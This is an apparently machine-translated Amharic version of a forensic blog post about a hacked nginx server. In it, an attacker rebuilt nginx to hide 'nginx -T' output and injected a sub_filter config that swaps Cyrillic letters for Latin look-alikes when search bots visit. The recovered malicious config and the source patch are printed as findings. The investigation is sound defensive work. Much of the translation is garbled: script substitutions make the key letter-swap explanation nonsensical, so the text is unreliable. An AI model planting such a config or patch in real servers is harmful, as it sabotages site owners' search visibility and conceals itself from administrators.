'a' ከ 'a' ጋር እኩል ካልሆነ። በጠለፋ ምክንያት

ከጓደኞቼ በአንዱ ላይ በጣም ደስ የማይል ታሪክ ደረሰ። ነገር ግን ለሚካሂል እንደ ሆነ ደስ የማይል ሆኖ፣ ለእኔም እንዲሁ አዝናኝ ነበር።

ጓደኛዬ ጥሩ ነው ማለት አለብኝ UNIXተጠቃሚ: ስርዓቱን በራሱ መጫን ይችላል MySQL, PHP እና ቀላል ቅንብሮችን ያድርጉ ሲንክስ.
እና ለግንባታ መሳሪያዎች የተሰጡ ደርዘን ወይም አንድ ተኩል ድረ-ገጾች አሉት.

ከእነዚህ ጣቢያዎች ውስጥ አንዱ ለቼይንሶው የተሰጡ ጣቢያዎች በፍለጋ ሞተሮች TOP ውስጥ በጥብቅ ተቀምጠዋል። ይህ ጣቢያ የንግድ ያልሆነ ገምጋሚ ​​ነው፣ ነገር ግን አንድ ሰው እሱን የማጥቃት ልማድ ያዘ። ያ DDoS, ከዚያም ጨካኝ ኃይል, ከዚያም ጸያፍ አስተያየቶችን ይጽፋሉ እና ለአስተናጋጁ እና ለ RKN በደል ይልካሉ.
በድንገት, ሁሉም ነገር ተረጋጋ እና ይህ መረጋጋት ጥሩ እንዳልሆነ, እና ጣቢያው ቀስ በቀስ የፍለጋ ውጤቶቹን የላይኛው መስመሮች መተው ጀመረ.

'a' ከ 'a' ጋር እኩል ካልሆነ። በአንድ ጠለፋ

ያ አባባል ነበር፣ ከዚያ የአስተዳዳሪው ታሪክ ራሱ።

በመኝታ ሰዓት ላይ ነበር ስልኩ ሲደወል፡ “ሳን፣ አገልጋይዬን አትመለከትም? የተጠለፍኩ መስሎኝ ነው, ማረጋገጥ አልችልም, ነገር ግን ስሜቱ ለሶስተኛው ሳምንት አልተወኝም. ምናልባት ለፓራኖያ ሕክምና የማገኝበት ጊዜ አሁን ነው?”

ቀጥሎም የግማሽ ሰዓት ውይይት ሲሆን ይህም እንደሚከተለው ሊገለጽ ይችላል፡-

  • ለጠለፋ ያለው አፈር በጣም ለም ነበር;
  • አጥቂ የበላይ ተመልካች መብቶችን ሊያገኝ ይችላል;
  • ጥቃቱ (ከተፈፀመ) በተለይ በዚህ ጣቢያ ላይ ያነጣጠረ ነበር;
  • የችግር ቦታዎች ተስተካክለዋል እና ምንም ዘልቆ መኖሩን ብቻ መረዳት ያስፈልግዎታል;
  • ጠለፋው የጣቢያውን ኮድ እና የውሂብ ጎታ ላይ ተጽዕኖ ሊያሳርፍ አልቻለም።

የመጨረሻውን ነጥብ በተመለከተ.

'a' ከ 'a' ጋር እኩል ካልሆነ። በአንድ ጠለፋ

ወደ አለም የሚታየው ነጭ የፊት ገፅ አይፒ ብቻ ነው። ከ http(ዎች) በስተቀር በኋለኛው እና በግንባር መካከል ምንም ልውውጥ የለም፣ተጠቃሚዎች/የይለፍ ቃል የተለያዩ ናቸው፣ምንም ቁልፎች አልተለዋወጡም። በግራጫ አድራሻዎች ከ80/443 በስተቀር ሁሉም ወደቦች ዝግ ናቸው። ነጭ የኋላ አይፒዎች የሚታወቁት ሚካሂል ሙሉ በሙሉ ለሚያምኑት ለሁለት ተጠቃሚዎች ብቻ ነው።

በግንባሩ ላይ ተጭኗል ደቢያን 9 እና ጥሪው በሚደረግበት ጊዜ ስርዓቱ በውጫዊ ፋየርዎል ከአለም ተለይቷል እና ይቆማል።

"እሺ መዳረሻ ስጠኝ" ለአንድ ሰዓት ያህል እንቅልፍ ለማጥፋት ወሰንኩ። "በዓይኔ አያለሁ"

እዚህ እና ተጨማሪ፡-

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

ሊሆን የሚችል መጥለፍን በመፈለግ ላይ

አገልጋዩን እጀምራለሁ፣ መጀመሪያ ወደ ውስጥ የማዳን ሁነታ. ዲስኮችን ሰቅዬ እገላበጣለሁ። አረጋጋጭምዝግብ ማስታወሻዎች, ታሪክ፣ የስርዓት ምዝግብ ማስታወሻዎች ፣ ወዘተ ፣ ከተቻለ ፣ የፋይል መፈጠር ቀናትን አረጋግጣለሁ ፣ ምንም እንኳን አንድ መደበኛ ብስኩት ከራሱ በኋላ “እንደሚወጣ” ቢገባኝም ሚሻ እራሱን እየፈለገ እያለ ብዙ “ረግጦ” ነበር ። .

በተለመደው ሁነታ እጀምራለሁ, ምን መፈለግ እንዳለብኝ ገና አልገባኝም, አወቃቀሮችን አጥናለሁ. በመጀመሪያ ፣ ፍላጎት አለኝ ሲንክስ በአጠቃላይ ፣ ከሱ በስተቀር በግንባሩ ላይ ሌላ ምንም ነገር የለም ።
አወቃቀሮቹ ትንሽ ናቸው፣ በደንብ ወደ ደርዘን ፋይሎች የተዋቀሩ ናቸው፣ እኔ በነሱ በኩል ብቻ ነው የምመለከታቸው ድመትወይ አንድ በአንድ። ሁሉም ነገር ንፁህ ነው የሚመስለው ነገር ግን የሆነ ነገር አምልጦኝ እንደሆነ አታውቅም። ያካትታሉሙሉ ዝርዝር ልስጥ፡-

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

አልገባኝም: "ዝርዝሩ የት ነው?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

ሁለተኛው ጥያቄ ወደ ዝርዝር ጥያቄው ተጨምሯል፡ “ለምንድን ነው እንደዚህ ያለ ጥንታዊ የ nginx ስሪት?”

በተጨማሪም ስርዓቱ የቅርብ ጊዜው ስሪት እንደተጫነ ያምናል-

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

እየደወልኩ ነው፡-
- ሚሻ, ለምን እንደገና ሰበሰብክ ሲንክስ?
- ተነሱ, ይህን እንዴት ማድረግ እንዳለብኝ እንኳን አላውቅም!
- ደህና ፣ ተኛ ፣ ተኛ…

እም በግልጽ እንደገና ተገንብቷል እና "-T" ን በመጠቀም የዝርዝሩ ውፅዓት በሆነ ምክንያት ተደብቋል። ከአሁን በኋላ ስለጠለፋ ምንም ጥርጣሬዎች የሉም እና በቀላሉ ሊቀበሉት ይችላሉ እና (ሚሻ አገልጋዩን በአዲስ ስለተካው) ችግሩ እንደተፈታ አስቡበት።

እና በእርግጥ, አንድ ሰው መብቶቹን ስለተቀበለ ሥር'አህ, ከዚያ ማድረግ ብቻ ምክንያታዊ ነው የስርዓት ዳግም መጫን, እና እዚያ ያለውን ስህተት መፈለግ ምንም ፋይዳ የለውም, ነገር ግን በዚህ ጊዜ የማወቅ ጉጉት እንቅልፍን አሸንፏል. ከእኛ ሊደብቁን የፈለጉትን እንዴት ማወቅ እንችላለን?

ለመፈለግ እንሞክር፡-

$ strace nginx -T

እኛ እንመለከተዋለን, በክትትል ውስጥ ግልጽ የሆነ በቂ መስመሮች የሉም a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

ለመዝናናት ያህል, ግኝቶቹን እናወዳድር.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

የኮዱ አካል ይመስለኛል /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

ወደ ቅጽ ቀርቧል፡-

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ወይም

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

ስለዚህ በ "-T" ያለው ዝርዝር አይታይም.

ግን የእኛን ውቅረት እንዴት ማየት እንችላለን?

ሀሳቤ ትክክል ከሆነ እና ችግሩ በተለዋዋጭ ውስጥ ብቻ ከሆነ ngx_dump_config በመጠቀም ለመጫን እንሞክር ጂ.ዲ.ቢ., እንደ እድል ሆኖ ቁልፍ አለ --ከ-ሲሲ-ኦፕት ጋር -g ያቅርቡ እና ያንን ማመቻቸት ተስፋ ያድርጉ - ኦ2 አይጎዳንም። በተመሳሳይ ጊዜ, እንዴት እንደሆነ ስለማላውቅ ngx_dump_config ውስጥ ሊሰራ ይችላል ጉዳይ 'T':ይህንን ብሎክ አንጠራውም ፣ ግን ተጠቅመው ይጫኑት። ጉዳይ፡-

ለምን '-t' እና '-T' መጠቀም ይችላሉአግድ ማቀናበር ከሆነ(ngx_dump_config) ውስጥ ይከሰታል ከሆነ(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

በእርግጥ, በዚህ ክፍል ውስጥ ኮዱ ከተቀየረ እና ካልሆነ ጉዳይ 'T':, ከዚያ የእኔ ዘዴ አይሰራም.

nginx.confን ይሞክሩችግሩን በሙከራ ከፈታ በኋላ፣ ማልዌር እንዲሰራ አነስተኛ ውቅር እንደሚያስፈልግ ተረጋግጧል ሲንክስ ዓይነት፡

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

በአንቀጹ ውስጥ ለአጭር ጊዜ እንጠቀማለን.

አራሚውን ያስጀምሩ

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

ደረጃ በደረጃ:

  • በተግባሩ ውስጥ የእረፍት ነጥብ ያዘጋጁ ዋና ()
  • ፕሮግራሙን አስጀምር
  • የማዋቀሩን ውጤት የሚወስነውን የተለዋዋጭውን እሴት ይቀይሩ ngx_dump_config=1
  • ፕሮግራሙን ቀጥል / ጨርስ

እንደምናየው ፣ እውነተኛው ውቅር ከእኛ የተለየ ነው ፣ ከእሱ ጥገኛ የሆነ ቁራጭ እንመርጣለን-

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

እዚህ ምን እየሆነ እንዳለ በቅደም ተከተል እንይ።

ተወስኗል የተጠቃሚ ወኪል'yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

የአገልግሎት ገጾች አልተካተቱም። ዎርድፕረስ:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

እና ከላይ በተጠቀሱት በሁለቱም ሁኔታዎች ውስጥ ለሚወድቁ

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

በጽሑፉ ውስጥ html- ገጾች ይለወጣሉ 'ኦ' ላይ 'ኦ' и 'ሀ' ላይ 'ሀ':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

ልክ ነው፣ ብቸኛው ረቂቅ ነገር ያ ነው። 'ሀ'! = 'a' እንዲሁም 'ኦ'! = 'ኦ':

'a' ከ 'a' ጋር እኩል ካልሆነ። በአንድ ጠለፋ

ስለዚህ የፍለጋ ሞተር ቦቶች ከመደበኛው 100% ሲሪሊክ ጽሑፍ ይልቅ የተሻሻለ ቆሻሻን በላቲን ይቀበላሉ 'ሀ' и 'ኦ'. ይሄ በ SEO ላይ እንዴት እንደሚነካ ለመወያየት አልደፍርም, ነገር ግን እንደዚህ አይነት የእንቆቅልሽ ፊደላት በፍለጋ ውጤቶች ውስጥ ባሉ ቦታዎች ላይ አዎንታዊ ተጽእኖ ይኖረዋል ብሎ ማሰብ የማይመስል ነገር ነው.

ምን ልበል፣ በምናባቸው ሰዎች።

ማጣቀሻዎች

በጂዲቢ ማረም
gdb (1) - የሊኑክስ ሰው ገጽ
strace (1) - የሊኑክስ ሰው ገጽ
Nginx - ሞዱል ngx_http_sub_module
ስለ መጋዞች, ቼይንሶው እና የኤሌክትሪክ መጋዞች

ምንጭ: hab.com

አስተያየት ያክሉ